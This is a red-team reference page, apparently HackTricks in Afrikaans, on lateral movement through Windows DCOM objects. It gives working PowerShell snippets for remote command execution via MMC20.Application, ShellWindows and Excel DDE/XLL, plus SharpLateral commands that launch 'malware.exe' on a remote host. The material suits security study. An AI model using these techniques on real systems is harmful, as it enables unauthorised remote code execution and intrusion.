DCOM Exec
Reading time: 6 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
MMC20.Application
Vir meer inligting oor hierdie tegniek, kyk na die oorspronklike pos van https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
Distributed Component Object Model (DCOM) objekke bied 'n interessante vermoë vir netwerk-gebaseerde interaksies met objekke. Microsoft bied omvattende dokumentasie vir beide DCOM en Component Object Model (COM), beskikbaar hier vir DCOM en hier vir COM. 'n Lys van DCOM toepassings kan verkry word met die PowerShell opdrag:
Get-CimInstance Win32_DCOMApplication
Die COM objek, MMC Application Class (MMC20.Application), stel die skripting van MMC snap-in operasies in staat. Opmerklik is dat hierdie objek 'n ExecuteShellCommand
metode onder Document.ActiveView
bevat. Meer inligting oor hierdie metode kan hier gevind word. Kontroleer dit wat dit uitvoer:
Hierdie funksie fasiliteer die uitvoering van opdragte oor 'n netwerk deur 'n DCOM toepassing. Om met DCOM op afstand as 'n admin te kommunikeer, kan PowerShell soos volg gebruik word:
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
Hierdie opdrag maak verbinding met die DCOM-toepassing en keer 'n instansie van die COM-objek terug. Die ExecuteShellCommand-metode kan dan aangeroep word om 'n proses op die afstandsbediener uit te voer. Die proses behels die volgende stappe:
Kontroleer metodes:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
Kry RCE:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
# Then just run something like:
ls \\10.10.10.10\c$\Users
ShellWindows & ShellBrowserWindow
Vir meer inligting oor hierdie tegniek, kyk na die oorspronklike pos https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
Die MMC20.Application objek is geïdentifiseer as wat nie eksplisiete "LaunchPermissions" het nie, wat standaard na toestemmings wat Administrators toegang gee, terugval. Vir verdere besonderhede kan 'n draad ondersoek word hier, en die gebruik van @tiraniddo’s OleView .NET vir die filtrering van objekte sonder eksplisiete Launch Permission word aanbeveel.
Twee spesifieke objekte, ShellBrowserWindow
en ShellWindows
, is beklemtoon weens hul gebrek aan eksplisiete Launch Permissions. Die afwesigheid van 'n LaunchPermission
registrasie-invoer onder HKCR:\AppID\{guid}
dui op geen eksplisiete toestemmings nie.
ShellWindows
Vir ShellWindows
, wat 'n ProgID ontbreek, fasiliteer die .NET metodes Type.GetTypeFromCLSID
en Activator.CreateInstance
objekinstansie met behulp van sy AppID. Hierdie proses benut OleView .NET om die CLSID vir ShellWindows
te verkry. Sodra dit geïnstantieer is, is interaksie moontlik deur die WindowsShell.Item
metode, wat lei tot metode-aanroep soos Document.Application.ShellExecute
.
Voorbeeld PowerShell-opdragte is verskaf om die objek te instansieer en opdragte op afstand uit te voer:
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
Laterale Beweging met Excel DCOM-objekte
Laterale beweging kan bereik word deur DCOM Excel-objekte te benut. Vir gedetailleerde inligting is dit raadsaam om die bespreking oor die benutting van Excel DDE vir laterale beweging via DCOM op Cybereason se blog te lees.
Die Empire-projek bied 'n PowerShell-skrip, wat die gebruik van Excel vir afstandkode-uitvoering (RCE) demonstreer deur DCOM-objekte te manipuleer. Hieronder is snitte van die skrip beskikbaar op Empire se GitHub-bewaarplek, wat verskillende metodes toon om Excel vir RCE te misbruik:
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}
Outomatiseringstoestelle vir Laterale Beweging
Twee gereedskap word beklemtoon om hierdie tegnieke te outomatiseer:
-
Invoke-DCOM.ps1: 'n PowerShell-skrip wat deur die Empire-projek verskaf word en die oproep van verskillende metodes vir die uitvoering van kode op afstandmasjiene vereenvoudig. Hierdie skrip is beskikbaar by die Empire GitHub-bewaarplek.
-
SharpLateral: 'n Gereedskap ontwerp om kode op afstand uit te voer, wat gebruik kan word met die opdrag:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
Outomatiese Gereedskap
- Die Powershell-skrip Invoke-DCOM.ps1 maak dit maklik om al die kommentaar maniere te aktiveer om kode op ander masjiene uit te voer.
- Jy kan ook SharpLateral gebruik:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
Verwysings
- https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
- https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.